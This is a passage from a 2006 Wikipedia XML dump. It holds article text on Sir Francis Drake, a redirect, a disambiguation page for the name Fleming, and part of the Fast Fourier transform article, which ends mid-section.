[[Category:Larimer County, Colorado]]
[[Category:Fort Collins, Colorado| ]]

[[de:Fort Collins (Colorado)]]
[[fr:Fort Collins (Colorado)]]
[[ja:フォート・コリンズ (コロラド州)]]
[[pt:Fort Collins]]
[[sv:Fort Collins]]</text>
    </revision>
  </page>
  <page>
    <title>Francis Drake</title>
    <id>11508</id>
    <revision>
      <id>42096363</id>
      <timestamp>2006-03-03T20:25:43Z</timestamp>
      <contributor>
        <ip>64.237.227.247</ip>
      </contributor>
      <comment>/* Drake in popular culture */</comment>
      <text xml:space="preserve">[[Image:FrancisDrake.jpg|framed|Sir Francis Drake, c. [[1540]]&amp;ndash;[[1596]].]]
'''Sir Francis Drake''', [[Vice Admiral|Vice Adm]], (c.[[1540]] &amp;ndash; [[January 28]], [[1596]]) was an [[England|English]] [[privateer]], [[Navigation|navigator]], naval pioneer and raider, [[politics|politician]], and [[civil engineering|civil engineer]], of the [[Elizabethan period]]. He was the first captain to completely [[circumnavigation|circumnavigate]] the globe ([[Magellan]] did not live to finish his. It was finished by Juan Sebastian Elcano). He was also second in command of the English fleet against the [[Spanish Armada]] in [[1588]]. He died while unsuccessfully attacking [[San Juan, Puerto Rico]] on [[1596]].

== Birth and early years ==
[[Image:sfdrake42.jpg|thumb|left|[[Portrait miniature|Miniature]] of Drake, age 42 by [[Nicholas Hilliard]] in [[1581]]]]
Francis Drake was born in [[Tavistock]], [[Devon]], the son of Mary or Elizabeth Mylwaye (Mildmay?) and her husband Edmund Drake (1518&amp;ndash;1585), a [[Protestant]] farmer (who later became a [[preacher]]) and grandson of John Drake and Margret Cole. He is often confused with his nephew Francis Drake (1573&amp;ndash;1634) who was the son of Richard Drake and Ursula Stafford, grandson of John Drake (1500&amp;ndash;1558) &amp;ndash;  Edmund's older brother &amp;ndash; and Amy Grenville (1510&amp;ndash;1577), and great-grandson of the same above-stated John Drake and Margaret Cole (cf. [[John White (surveyor)#endnote_Drake|John White, note. 2]]). His maternal grandfather was a [[Richard Mylwaye]]. 

Drake was reportedly named after his [[godfather]] [[Francis Russell, 2nd Earl of Bedford]], but throughout his cousins' lineages are direct connections to the [[The Crown|Royalty]] and famous persons such as [[Richard Grenville|Sir Richard Grenville]] through Amy Grenville and [[Geoffrey Chaucer]] through Ursula Stafford. Ursula's line may be traced to royalty within four generations. 


As with many of Drake's contemporaries, the exact date of his birth is unknown and could be as early as [[1535]], the [[1540]] date being extrapolated from two portraits: one, a [[Portrait miniature|miniature]] painted by [[Nicholas Hilliard]] in [[1581]] when he was allegedly 42, and the other painted in [[1594]] when he was alleged to be 53 according to the  [[1921]]/[[1922|22]] edition of the [[Dictionary of National Biography]], which quotes a certain [[John Barrow (English statesman)|Barrow]], ''Life of Drake'' (1843) p. 5. Francis was the second eldest of twelve children; but as he was not granted legal right to his father's farm, he had to find his own career.

During the [[Catholicism|Roman Catholic]] uprising of [[1549]], the family was forced to flee to [[Kent]]. At about the age of 13 Francis took to the sea on a cargo [[barque]], becoming master of the ship at the age of twenty. He spent his early career honing his [[sailing]] skills on the difficult waters of the [[North Sea]], and after the death of the captain for whom he was sailing, becoming the master of his own barque. At age 23, Drake took his first voyage to the [[New World]] under the sails of the Hawkins family of [[Plymouth]], in company with his cousin, Sir [[John Hawkins]]. Together, Hawkins and Drake made the first English [[Atlantic slave trade|slave-trading]] expeditions.

== Conflict in the Caribbean ==
Around [[1563]] Drake first sailed west to the [[Spanish Main]], drawn by the immense wealth accruing from [[Spain]]'s [[monopoly]] on [[New World]] [[silver]]. Drake took an immediate dislike to the Spanish, at least in part due to their mistrust of non-Spaniards and their [[Catholicism]]. His hostility is said to have been increased by an incident at San Juan de Ulua in [[1568]], when Spanish forces executed a surprise attack &amp;mdash; in violation of a truce agreed to a few days before &amp;mdash; nearly costing Drake his life. From then on, he devoted his life to working against the [[Spanish Empire]]; the Spanish considered him an outlaw [[pirate]], but to England he was simply a sailor and [[privateer]]. On his second such voyage, he fought a costly battle against Spanish forces, costing many English lives, but earning Drake the favour of [[Elizabeth I of England|Queen Elizabeth]].

The most celebrated of Drake's [[Caribbean]] adventures is his capture of the Spanish Silver Train at [[Nombre de Dios]] in March of [[1573]]. With a crew including many [[France|French]] privateers and [[Cimaroons]] &amp;mdash; African slaves who had escaped the Spanish &amp;mdash; Drake raided the waters around [[Darién, Panama|Darien]] (in modern [[Panama]]) and tracked the Silver Train to the nearby port of Nombre de Dios. He made off with a fortune in gold, but had to leave behind another fortune in silver, because it was too heavy to carry back to England. It was during this expedition that he climbed a high tree in the central mountains of the [[Isthmus of Panama]] and thus became the first Englishman to see the Pacific Ocean. 

When Drake returned to [[Plymouth]] on [[August 9]], [[1573]], a mere thirty Englishmen returned with him, every one of them rich for life. However, Queen Elizabeth, who had up to this point sponsored and encouraged Drake's raids, signed a temporary truce with King [[Philip II of Spain]], and so was unable to officially acknowledge Drake's accomplishment.

== Circumnavigation of the globe ==
[[Image:NPG_Drake.jpg|thumb|framed|Sir Francis Drake, circa [[1581]] (notice the shirt is the same as in [[Nicholas Hilliard|Hilliard's]] [[:Image:Sfdrake42.jpg|miniature]])]]
In [[1577]], Drake was commissioned by Queen [[Elizabeth I of England|Elizabeth]] to undertake an expedition against the Spanish along the Pacific coast of the Americas. He set sail from Plymouth, England, in December aboard the ''Pelican'', with four other ships and over 150 men. After crossing the Atlantic, two of the ships had to be abandoned on the east coast of South America. Drake crossed from the Atlantic to the Pacific through the [[Magellan Strait]], after which a storm blew his ship so far south, he realized that [[Tierra del Fuego]], the island seen to the south of the [[Magellan Strait]], was not part of a southern continent (as was believed at that time).

The three remaining ships departed for the Strait of Magellan at the southern tip of the continent. This course established &quot;[[Drake's Passage]]&quot;, but the route south of [[Tierra del Fuego]] around the bottom of South America, where the Pacific and the Atlantic oceans meet at [[Cape Horn]], was not discovered until 1616. 

A few weeks later, Drake made it to the Pacific, however, violent storms destroyed one of the ships, and caused another to return to England. Drake pushed onward in his lone flagship, now renamed the ''[[Golden Hind]]'' in honour of Sir [[Christopher Hatton]] (after his [[heraldry|coat of arms]]). 

The ''Golden Hind'' sailed northward alone along the Pacific coast of South America, attacking Spanish ports like [[Valparaíso]] as it went. Some Spanish ships were captured, and Drake made good use of their more accurate charts. On his search for the [[Northwest Passage]], Drake may even have reached today's US-Canadian border. His account of the voyage describes icy waters. Unable to find the fabled route back into the Atlantic, he turned southward again. 

On [[June 17]], [[1579]], Drake landed ashore somewhere above Spain's most northerly claim at [[Point Loma]].  Drake found an excellent port, landed, repaired and restocked his vessels, then stayed for a time, keeping friendly relations with the natives. Drake named the port [[New Albion]] (New England), and claimed it for England. It is usually assumed that Drake's port was somewhere near the northern [[San Francisco Bay]] &amp;#8212; anywhere from Bodega to San Pablo Bay. A bronze plaque inscribed with Drake's claim to the new lands, fitting the description in Drake's own account, was discovered in [[Marin County]]. This so-called [[Drake's Plate of Brass]] was later declared a hoax.  Drake's port has also been theorized to have been at [[Whale Cove (Oregon)]], and as far north as [[Comox, British Columbia]].  

There is strong evidence, however, that Drake's &quot;Nova Albion&quot; was actually present day Vancouver Island.  This evidence is consumately presented in Samuel Bawlf's &quot;The Secret Voyage of Sir Francis Drake&quot;.  From Nova Albion Drake and his men sailed north in search of a western opening to the Northwest Passage, a potentially valuable asset to the English at the time.  During this venture the sailors accurately mapped the westward trend of the north-western corner of the North American continent, present day Alaska.  They had a rough go among the islands of the Alaskan panhandle though, and were forced to turn back due to freezing weather.

Bawlf argues that the furthest north that Drake's ship reached was fifty-six degrees latitude, much higher than was originally recorded.  The reason for this false record, Bawlf writes, was for political reasons: competition with the Spanish in the Americas.  Queen Elizabeth wanted to keep any information on the Northwest Passage secret.  Unfortunately, she did such a good job on the cover-up that the location of Nova Albion and the highest latitude the expedition reached is still a source of controversy today, giving Drake and his men less credit for their great accomplishments than they deserve.     

Drake's brother endured a long period of torture in [[South America]] at the hands of Spaniards, who sought intelligence from him about Francis Drake's voyage. The precise location of Drake's port was carefully guarded to keep it secret from the Spaniards, and several of Drake's maps may even have been altered to this end. It is unlikely that the riddle of Drake's port will ever be unraveled, for the relevant records at [[London]]'s [[Whitehall Palace]] were burned.

It is said that Drake left behind many of his men as a small colony, but planned return voyages to the colony were never realized.  The land Drake claimed in the name of the Holy [[Trinity]] for the English Crown was called ''[[Nova Albion]]'' &amp;#8212; that is in [[Latin]], &quot;New England.&quot; 

Drake's voyage to the west coast of [[North America]] is important for a number of reasons.  When Drake landed, his chaplain held Holy [[Eucharist|Communion]], as in the words of [[Thomas Cranmer]], &quot;it is very meet and right and our bounden duty so to do.&quot;  This was one of the first [[Protestantism|Protestant]] church services in all the [[New World]] (though French [[Huguenots]] had founded an ill-fated colony in Florida in the 1560s). Drake was seen to be gaining prestige at the expense of the [[Papacy]].

What is certain of the extent of Drake's claim and territorial challenge to the Papacy and the Spanish crown is that his port was founded ''somewhere'' north of Point Loma; that all contemporary maps label all lands above the Kingdoms of New Spain and New Mexico as &quot;''Nova Albion''&quot;, and that all colonial claims made from the East Coast in the 1600s were &quot;From Sea to Sea.&quot; The colonial claims were established with full knowledge of Drake's claims, which they reinforced, and remained valid in the minds of the colonialists when the colonies became free states. Maps made soon after would have &quot;''Nova Albion''&quot; written above the entire northern frontier of New Spain. These territorial claims would later become important during the negotiations that ended the [[Mexican-American War]] between the United States and Mexico.

Drake now headed westward across the Pacific, and a few months later, reached the [[Moluccas]] -- a group of islands in the southwest Pacific (east of today's [[Indonesia]]).

He made multiple stops on his way toward the tip of Africa, eventually rounded the [[Cape of Good Hope]], and reached [[Sierra Leone]] by [[July 22]], [[1580]]. On [[September 26]], the ''Golden Hind'' sailed into Plymouth with Drake and 59 crew remaining aboard, along with a rich cargo of spices and captured Spanish treasures. The Queen's half-share of the cargo surpassed the rest of the crown's income for that entire year. Hailed as the first Englishman to circumnavigate the Earth, Drake was knighted by Queen Elizabeth aboard the ''Golden Hind'', and became the Mayor of Plymouth and a Member of Parliament.  

The Queen ordered all written accounts of Drake's voyage considered [[classified information]], and its participants sworn to silence on pain of death; her aim was to keep Drake's activities away from the eyes of rival Spain.

== The Spanish Armada ==
[[Image:Drake_Statue.jpg|thumb|150px|left|Statue of Drake on Plymouth Hoe]]
War broke out between Spain and England in 1585. Drake sailed to the New World and sacked the ports of [[Santo Domingo]] and [[Cartagena, Colombia|Cartagena]]. On the return leg of the voyage, he captured the Spanish fort of [[St. Augustine, Florida|San Agustín]] in Florida. These exploits encouraged King Philip II of Spain to order the planning for an invasion of England. 

In a pre-emptive strike, Drake &quot;singed the King of Spain's beard&quot; by sailing a fleet into [[Cadiz]], one of Spain's main ports, and occupying the town for three days, destroying 31 enemy ships as well as a large quantity of stores, and capturing 6 ships. This attack delayed the Spanish invasion by a year. 

Drake was [[vice admiral]] in command of the English fleet (under [[Charles Howard, 1st Earl of Nottingham|Lord Howard of Effingham]]) when they overcame the [[Spanish Armada]] that was attempting to invade England in [[1588]].  As the English fleet pursued the Armada up the English Channel, Drake captured the Spanish galleon ''Rosario'', along with Admiral [[Pedro de Valdes]] and all his crew, but causing confusion in the English fleet in the process. The Spanish ship was known to be carrying substantial funds to pay the Spanish Army in the Low Countries.  Drake's responsibilities included carrying a stern lantern intended as a guiding light at night for other English vessels opposing the Armada.  This exemplified Drake's ability, as a privateer, to suspend strategic purpose, if a tactical profit were on offer.  

On the night of [[29 July]], along with Howard, Drake organised the fire-ships, causing the majority of the Spanish captains to break formation and sail out of [[Calais]] into the open sea. The next day, Drake was present at the [[Spanish Armada#Battle of Gravelines|Battle of Gravelines]].

The most famous (but probably made up) anecdote about Drake's life relates that, prior to the battle, he was playing a game of [[bowls]] on [[Plymouth Hoe]]. On being warned of the approach of the Spanish fleet, Drake is said to have remarked that there was plenty of time to finish the game and still beat the Spaniards.  This battle was the high point of the remarkable mariner's career.

In 1589, the year after defeating the Armada, Drake was sent to liberate [[Portugal]], which had been annexed by King Philip II of Spain under a [[personal union]] in 1580.  En route, he sacked the city of [[A Coruña]] in Spain. This massive combined naval and land expedition (see &quot;[[English Armada]]&quot;) was a dismal failure, attributed to a grievous lack of organization, poor training, and paltry supplies.  It was a crucial turning point in the [[Anglo-Spanish War (1585)]]. 

== Final years ==
Drake's seafaring career continued into his mid fifties. In [[1595]], following a disastrous campaign against Spanish America where he suffered several defeats in a row, he unsuccessfully attacked [[San Juan, Puerto Rico]]. The Spanish gunners from [[El Morro Castle]] shot a cannonball through the cabin of Drake's flagship, but he survived. In [[1596]], he died of [[dysentery]]  while again unsuccessfully attacking [[San Juan, Puerto Rico|San Juan]], where some Spanish treasure ships had sought shelter.  He was buried at sea in a lead coffin near [[Portobelo]] in [[Panama]].

==Drake in popular culture==

* In the ''[[Jennings (novels)|Jennings]]'' series of novels, the fictional Linbury Court Preparatory School also has a house named after Drake, to which the main characters, Jennings and Darbishire, belong.

* Drake's anti-Spanish exploits were loosely the basis for Warner Brother's production of the 1940 film ''[[The Sea Hawk (1940 film)|The Sea Hawk]]'' starring [[Errol Flynn]] as the dashing fictional Captain Geoffery Thorpe, who also was a favourite of [[Queen Elizabeth I]] during the film.

* There was a 1962 NBC television series based on him, titled ''[[Sir Francis Drake (television)|Sir Francis Drake]]''.

* A popular legend holds that if England is ever in peril, beating [[Drake's Drum]] will cause Sir Francis return to save the country. This is a variation of the [[King_in_the_mountain|sleeping hero]] folktale.

* Drake's exploits were extolled by the patriotic Victorian poet Sir [[Henry Newbolt]] in the poem [http://www.bartleby.com/103/41.html ''Drake's Drum'']. A similarly-named poem was written by the late Victorian poetess [[Norah M. Holland]].

* During his circumnavigation of the globe, Drake posted a plate upon leaving his landing place on the West coast of North America, claiming the land for England.  In the [[1930s]], it appeared that [[Drake's Plate of Brass|Drake's plate]] had been found near San Francisco.  Forty years later, scientists confirmed that the plate was a [[hoax]], as had been suspected. Later information attributed the hoax to [[E Clampus Vitus]].

* There is a [[high school]] named for Drake in [[San Anselmo, California]].

* A major East-West road in [[Marin County, California]] is named Sir Francis Drake Boulevard. It connects Point San Quentin on [[San Francisco Bay]] with [[Point Reyes]] and [[Drakes Bay]]. Each end is near a site considered by some to be Drake's landing place.

* One of the four [[House System|houses]] of [[United Kingdom|British]] [[public school (England)|public school]] [[Churcher's College]] is named for Drake. One of the six [[House System|houses]] of [[Hong Kong]] [[secondary school]] [[Sha Tin College]] is also named for Drake. 

* Though England considers him a hero, Spaniards regard Drake as a cruel and bloodthirsty pirate who used to sack defenseless Spanish harbors. Drake, or ''Draco'' (&quot;Dragon&quot;), to give his Spanish name, was used as a bogeyman for centuries after his &quot;vicious&quot; raids.

* On the [[Advance Wars]] [[video game]] series, there is a [[CO]] named Drake, whose strength point is [[naval combat]].

==References==
* [[Samuel Bawlf|Bawlf, R. Samuel]]. ''The Secret Voyage of Sir Francis Drake, 1577-1580.''(Douglas &amp; McIntyre, 2003)
* Hughes-Hallett, Lucy.  ''Heroes:  A History of Hero Worship.''  Alfred A. Knopf, New York, New York, 2004.  ISBN 1-4000-4399-9.
* [[Garett Mattingly|Mattingly, Garett]], [[Pulitzer Prize]] winner in [[1960]]. ''&quot;[[The defeat of the Spanish Armada]]'' &amp;ndash; a Pulitzer Prize award-winning account of the defeat of the Spanish Armada.([[1959]]), 
* Rodger, N.A.M. ''The Safeguard of the Sea; A Naval History of Britain 660-1649.'' (London, 1997).
* Mrs. Charles Merideth, ''Notes and Sketches of New South Wales, during a residence in that colony from 1839 to 1844; BOUND WITH: &quot;Life of Drake&quot; by [[Sir John Barrow, 1st Baronet|John Barrow]]'' (1st ed, 1844) [xi, 164; and xii, 187 pp. respectfully]

==External links==
*[http://www.royal-navy.mod.uk/static/content/3525.html Vice Admiral Sir Francis Drake c1540-1596]
*[http://www.mcn.org/2/oseeler/drake.htm Oliver Seeler's website &quot;Sir Francis Drake&quot;]
*[http://www.spartacus.schoolnet.co.uk/TUDdrakeF.htm Francis Drake]
*[http://news.bbc.co.uk/1/hi/uk/england/1650689.stm Mission to rescue Drake's body]
*[http://international.loc.gov/intldl/drakehtml/rbdkhome.html Kraus Collection of Sir Francis Drake at the Library of Congress]
*[http://www.floridamemory.com/FloridaHighlights/mapstaug.cfm Hand-colored map depicting Sir Francis Drake's attack on Saint Augustine]   from the State Archives of Florida
*[http://ccgi.bluepig.plus.com/php/Pmp/author.php?author=22 Michael Turner] author who has visited most of the places Drake visited and has written of both his own and Drake's experiences
*[http://www.biographi.ca/EN/ShowBio.asp?BioId=34303 Biography at the ''Dictionary of Canadian Biography Online'']
* [http://college.hmco.com/history/readerscomp/ships/html/sh_039600_goldenhind.htm Golden Hind], (Ships of the World: An Historical Encyclopedia)

[[Category:1540 births|Drake, Francis]]
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[[Category:People connected with Plymouth|Drake, Francis]]
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[[ast:Francis Drake]]
[[bg:Френсис Дрейк]]
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[[zh:法蘭西斯·德瑞克]]</text>
    </revision>
  </page>
  <page>
    <title>Finlandssvensk</title>
    <id>11509</id>
    <revision>
      <id>22276056</id>
      <timestamp>2005-08-31T20:40:55Z</timestamp>
      <contributor>
        <username>Karmosin</username>
        <id>181365</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Finland-Swedes]]</text>
    </revision>
  </page>
  <page>
    <title>Fleming</title>
    <id>11511</id>
    <revision>
      <id>41512655</id>
      <timestamp>2006-02-27T21:36:41Z</timestamp>
      <contributor>
        <username>Tisco</username>
        <id>210350</id>
      </contributor>
      <text xml:space="preserve">A '''Fleming''' is an inhabitant of [[Flanders]], see [[Flemings]].

'''Fleming''' is also the name of several persons:

*[[Alexander Fleming]], the discoverer of [[penicillin]]
*[[Arthur Fleming]], namesake of [[Caltech]]'s [[Fleming House]].
*[[Craig Fleming]], an English [[footballer]]
*[[Donald Fleming]], a Canadian parliamentarian
*[[Ian Fleming]], the author of the [[James Bond]] novels
*[[John Ambrose Fleming]], a British engineer
*[[John Fleming]], a Scottish writer and television producer
*[[Klaus Fleming]], a Finnish admiral and nobleman
*[[Marcus Fleming]], a economist
*[[Michael Anthony Fleming]], a Newfoundland Roman Catholic Bishop
*[[Mike Fleming]], a conservative radio talk show host
*[[Peter Fleming]], tennisplayer
*Major General [[Raymond H. Fleming]], chief of [[National Guard Bureau]] from August 14, 1951 to February 15, 1953 
*[[Renée Fleming]], an American soprano
*[[Richard E. Fleming]], American hero of [[World War II|WWII]]
*[[Sandford Fleming]], a Canadian engineer
*[[Stephen Fleming]], a New Zealand [[cricket]] captain
*[[Thomas Fleming]], several people
*[[Victor Fleming]], an American film director (''Gone With the Wind'')
&lt;!--several more could be added to this list--&gt;


Fleming is also the name of several [[Swedish nobility|Swedish noble families]], some of which have been historically significant.

{{disambig}}

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[[fi:Fleming]]</text>
    </revision>
  </page>
  <page>
    <title>Fast Fourier transform</title>
    <id>11512</id>
    <revision>
      <id>40462880</id>
      <timestamp>2006-02-20T19:10:07Z</timestamp>
      <contributor>
        <username>Stevenj</username>
        <id>7918</id>
      </contributor>
      <comment>rv irrelevant link; this page is about FFT algorithms, not Fourier transforms in general</comment>
      <text xml:space="preserve">A '''fast Fourier transform''' ('''FFT''') is an efficient [[algorithm]] to compute the [[discrete Fourier transform]] (DFT) and its inverse. FFTs are of great importance to a wide variety of applications, from [[digital signal processing]] to solving [[partial differential equation]]s to algorithms for quickly [[multiplication algorithm|multiplying large integers]].  This article describes the algorithms, of which there are many; see [[discrete Fourier transform]] for properties and applications of the transform.

Let ''x''&lt;sub&gt;0&lt;/sub&gt;, ...., ''x''&lt;sub&gt;''n''-1&lt;/sub&gt; be [[complex number|complex numbers]]. The DFT is defined by the formula

:&lt;math&gt; f_j =  \sum_{k=0}^{n-1} x_k e^{-{2\pi i \over n} jk }
\qquad
j = 0,\dots,n-1. &lt;/math&gt;

Evaluating these sums directly would take O(''n''&lt;sup&gt;2&lt;/sup&gt;) arithmetical operations (see [[Big O notation]]). An FFT is an algorithm to compute the same result in only O(''n'' log ''n'') operations.  In general, such algorithms depend upon the [[factorization]] of ''n'', but (contrary to popular misconception) there are O(''n'' log ''n'') FFTs for all ''n'', even [[prime number|prime]] ''n''.

Since the inverse DFT is the same as the DFT, but with the opposite sign in the exponent and a 1/''n'' factor, any FFT algorithm can easily be adapted for it as well.

== The Cooley-Tukey algorithm ==
''Main article: [[Cooley-Tukey FFT algorithm]].''

By far the most common FFT is the [[Cooley-Tukey FFT algorithm|Cooley-Tukey]] algorithm.  This is a [[divide and conquer algorithm]] that [[recursion|recursively]] breaks down a DFT of any [[composite number|composite]] size ''n'' = ''n''&lt;sub&gt;1&lt;/sub&gt;''n''&lt;sub&gt;2&lt;/sub&gt; into many smaller DFTs of sizes ''n''&lt;sub&gt;1&lt;/sub&gt; and ''n''&lt;sub&gt;2&lt;/sub&gt;, along with O(''n'') multiplications by complex [[roots of unity]] traditionally called '''twiddle factors'''.  

This method (and the general idea of an FFT) was popularized by a publication of J. W. Cooley and J. W. Tukey in [[1965]], but it was later discovered that those two authors had independently re-invented an algorithm known to  [[Carl Friedrich Gauss]] around [[1805]] (and subsequently rediscovered several times in limited forms).

The most well-known use of the Cooley-Tukey algorithm is to divide the transform into two pieces of size &lt;math&gt;n / 2&lt;/math&gt; at each step, and is therefore limited to power-of-two sizes, but any factorization can be used in general (as was known to both Gauss and Cooley/Tukey).  These are called the '''radix-2''' and '''mixed-radix''' cases, respectively (and other variants have their own names as well).  Although the basic idea is recursive, most traditional implementations rearrange the algorithm to avoid explicit recursion. Also, because the Cooley-Tukey algorithm breaks the DFT into smaller DFTs, it can be combined arbitrarily with any other algorithm for the DFT, such as those described below.

== Other FFT algorithms ==
''Main articles: [[Prime-factor FFT algorithm]], [[Bruun's FFT algorithm]], [[Rader's FFT algorithm]], [[Bluestein's FFT algorithm]].''

There are other FFT algorithms distinct from Cooley-Tukey.  For &lt;math&gt;n = n_1n_2&lt;/math&gt; with [[coprime]] &lt;math&gt;n_1&lt;/math&gt; and &lt;math&gt;n_2&lt;/math&gt;, one can use the [[Prime-factor FFT algorithm|Prime-Factor]] (Good-Thomas) algorithm (PFA), based on the [[Chinese Remainder Theorem]], to factorize the DFT similarly to Cooley-Tukey but without the twiddle factors. The [[Rader-Brenner FFT algorithm|Rader-Brenner algorithm]] (1976) is a Cooley-Tukey-like factorization but with purely imaginary twiddle factors, reducing multiplications at the cost of increased additions and reduced numerical stability. Algorithms that recursively factorize the DFT into smaller operations other than DFTs include the Bruun and [[QFT algorithm|QFT]] algorithms. (The Rader-Brenner and QFT algorithms were proposed for power-of-two sizes, but it is possible that they could be adapted to general composite &lt;math&gt;n&lt;/math&gt;.  Bruun's algorithm applies to arbitrary even composite sizes.)  [[Bruun's FFT algorithm|Bruun's algorithm]], in particular, is based on interpreting the FFT as a recursive factorization of the [[polynomial]] &lt;math&gt;z^n-1&lt;/math&gt;, here into real-coefficient polynomials of the form &lt;math&gt;z^m-1&lt;/math&gt; and 
&lt;math&gt;z^{2m} + az^m + 1&lt;/math&gt;.  Another polynomial viewpoint is  exploited by the [[Winograd FFT algorithm|Winograd]] algorithm, which factorizes &lt;math&gt;z^n-1&lt;/math&gt; into [[Cyclotomic polynomial|cyclotomic polynomials]]&amp;mdash;these often have coefficients of 1, 0, or &amp;minus;1, and therefore require few (if any) multiplications, so Winograd can be used to obtain minimal-multiplication FFTs and is often used to find efficient algorithms for small factors.  Indeed, Winograd showed that the DFT can be computed with only &lt;math&gt;O(n)&lt;/math&gt; multiplications, leading to a proven achievable lower bound on the number of irrational multiplications for power-of-two sizes; unfortunately, this comes at the cost of many more additions, a tradeoff no longer favorable on modern [[central processing unit|processor]]s with [[floating-point unit|hardware multipliers]]. In particular, Winograd also makes use of the PFA as well as an algorithm by Rader for FFTs of ''prime'' sizes.  [[Rader's FFT algorithm|Rader's algorithm]], exploiting the existence of a [[generating set of a group|generator]] for the multiplicative [[group (mathematics)|group]] modulo prime &lt;math&gt;n&lt;/math&gt;, expresses a DFT of prime size &lt;math&gt;n&lt;/math&gt; as a cyclic [[convolution]] of (composite) size &lt;math&gt;n-1&lt;/math&gt;, which can then be computed by a pair of ordinary FFTs via the [[convolution theorem]]  (although Winograd uses other convolution methods).  Another prime-size FFT is due to L. I. Bluestein, and is sometimes called the [[chirp-z algorithm]]; it also re-expresses a DFT as a convolution, but this time of the ''same'' size (which can be zero-padded to a [[power of two]] and evaluated by radix-2 Cooley-Tukey FFTs, for example), via the identity  &lt;math&gt;jk = -(j-k)^2/2 + j^2/2 + k^2/2&lt;/math&gt;.

== FFT algorithms specialized for real and/or symmetric data ==

In many applications, the input data for the DFT are purely real, in which case the outputs satisfy the symmetry 
:&lt;math&gt;f_{n-j} = f_j^*,&lt;/math&gt;
and efficient FFT algorithms have been designed for this situation (see e.g. Sorensen, 1987).  One approach consists of taking an ordinary algorithm (e.g. Cooley-Tukey) and removing the redundant parts of the computation, saving roughly a factor of two in time and memory.  Alternatively, it is possible to express an ''even''-length real-input DFT as a complex DFT of half the length (whose real and imaginary parts are the even/odd elements of the original real data), followed by O(''n'') post-processing operations.

It was once believed that real-input DFTs could be more efficiently computed by means of the [[Discrete Hartley transform]] (DHT), but it was subsequently argued that a specialized real-input DFT algorithm (FFT) can typically be found that requires fewer operations than the corresponding DHT algorithm (FHT) for the same number of inputs. Bruun's algorithm (above) is another method that was initially proposed to take advantage of real inputs, but it has not proved popular.

There are further FFT specializations for the cases of real data that have [[even and odd functions|even/odd ]] symmetry, in which case one can gain another factor of (roughly) two in time and memory and the DFT becomes the discrete cosine/sine transform(s) ([[discrete cosine transform|DCT]]/[[discrete sine transform|DST]]).  Instead of directly modifying an FFT algorithm for these cases, DCTs/DSTs can also be computed via FFTs of real data combined with O(''n'') pre/post processing.

== Accuracy and approximations ==

All of the FFT algorithms discussed so far compute the DFT exactly (in exact arithmetic, i.e. neglecting [[floating-point]] errors).  A few &quot;FFT&quot; algorithms have been proposed, however, that compute the DFT ''approximately'', with an error that can be made arbitrarily small at the expense of increased computations.  Such algorithms trade the approximation error for increased speed or other properties.  For example, an approximate FFT algorithm by Edelman et al. (1999) achieves lower communication requirements for [[parallel computing]] with the help of a fast-multipole method.  A [[wavelet]]-based approximate FFT by Guo and Burrus (1996) takes sparse inputs/outputs (time/frequency localization) into account more efficiently than is possible with an exact FFT.  Another algorithm for approximate computation of a subset of the DFT outputs is due to Shentov et al. (1995).  Only the Edelman algorithm works equally well for sparse and non-sparse data, however, since it is based on the compressibility (rank deficiency) of the Fourier matrix itself rather than the compressibility (sparsity) of the data.

Even the &quot;exact&quot; FFT algorithms have errors when finite-precision floating-point arithmetic is used, but these errors are typically quite small; most FFT algorithms, e.g. Cooley-Tukey, have excellent numerical properties.  The upper bound on the [[approximation error|relative error]] for the Cooley-Tukey algorithm is O(&amp;epsilon; log ''n''), compared to O(&amp;epsilon; ''n''&lt;sup&gt;3/2&lt;/sup&gt;) for the naïve DFT formula (Gentleman and Sande, 1966), where &amp;epsilon; is the machine floating-point relative precision.  In fact, the [[root mean square]] (rms) errors are much better than these upper bounds, being only O(&amp;epsilon; &amp;radic;log ''n'') for Cooley-Tukey and O(&amp;epsilon; &amp;radic;''n'') for the naïve DFT (Schatzman, 1996).  These results, however, are very sensitive to the accuracy of the twiddle factors used in the FFT (i.e. the [[trigonometric function]] values), and it is not unusual for incautious FFT implementations to have much worse accuracy, e.g. if they use inaccurate [[generating trigonometric tables|trigonometric recurrence]] formulas.  Some FFTs other than Cooley-Tukey, such as the Rader-Brenner algorithm, are intrinsically less stable.

In [[fixed-point arithmetic]], the finite-precision errors accumulated by FFT algorithms are worse, with rms errors growing as O(&amp;radic;''n'') for the Cooley-Tukey algorithm (Welch, 1969).  Moreover, even achieving this accuracy requires careful attention to scaling in order to minimize the loss of precision, and [[fixed-point FFT algorithms]] involve rescaling at each intermediate stage of decompositions like Cooley-Tukey.

To verify the correctness of an FFT implementation, rigorous guarantees can be obtained in O(''n'' log ''n'') time by a simple procedure checking the linearity, impulse-response, and time-shift properties of the transform on random inputs (Ergün, 1995).

==Multidimensional FFT algorithms==

As defined in the [[Discrete Fourier transform#Multidimensional DFT|multidimensional DFT]] article, the multidimensional DFT

:&lt;math&gt;f_\mathbf{j} = \sum_{\mathbf{k}=0}^{\mathbf{n}-1} e^{-2\pi i \mathbf{j} \cdot (\mathbf{k} / \mathbf{n})} x_\mathbf{k}&lt;/math&gt;

transforms an array &lt;math&gt;x_\mathbf{k}&lt;/math&gt; with a &lt;math&gt;d&lt;/math&gt;-dimensional [[coordinate vector|vector]] of indices &lt;math&gt;\mathbf{k}=(k_1 = 0 \ldots n_1-1, \cdots, k_d = 0 \ldots n_d-1)&lt;/math&gt; by a set of &lt;math&gt;d&lt;/math&gt; nested summations.  Equivalently, it is simply the composition of a sequence of &lt;math&gt;d&lt;/math&gt; one-dimensional DFTs, performed along one dimension at a time (in any order).

This compositional viewpoint immediately provides the simplest and most common multidimensional DFT algorithm, known as the '''row-column''' algorithm (after the two-dimensional case, below).  That is, one simply performs a sequence of &lt;math&gt;d&lt;/math&gt; one-dimensional FFTs (by any of the above algorithms): first you transform along the &lt;math&gt;k_1&lt;/math&gt; dimension, then along the &lt;math&gt;k_2&lt;/math&gt; dimension, and so on (or actually, any ordering will work).  This method is easily shown to have the usual &lt;math&gt;O(N \log N)&lt;/math&gt; complexity, where &lt;math&gt;N = n_1 n_2 \cdots n_d&lt;/math&gt; is the total number of data points transformed.  In particular, there are &lt;math&gt;N/n_1&lt;/math&gt; transforms of size &lt;math&gt;n_1&lt;/math&gt;, etcetera, so the complexity of the sequence of FFTs is:

:&lt;math&gt;N/n_1 O(n_1 \log n_1) + \cdots + N/n_d O(n_d \log n_d) = O(N [\log n_1 + \cdots + \log n_d]) = O(N \log N).&lt;/math&gt;

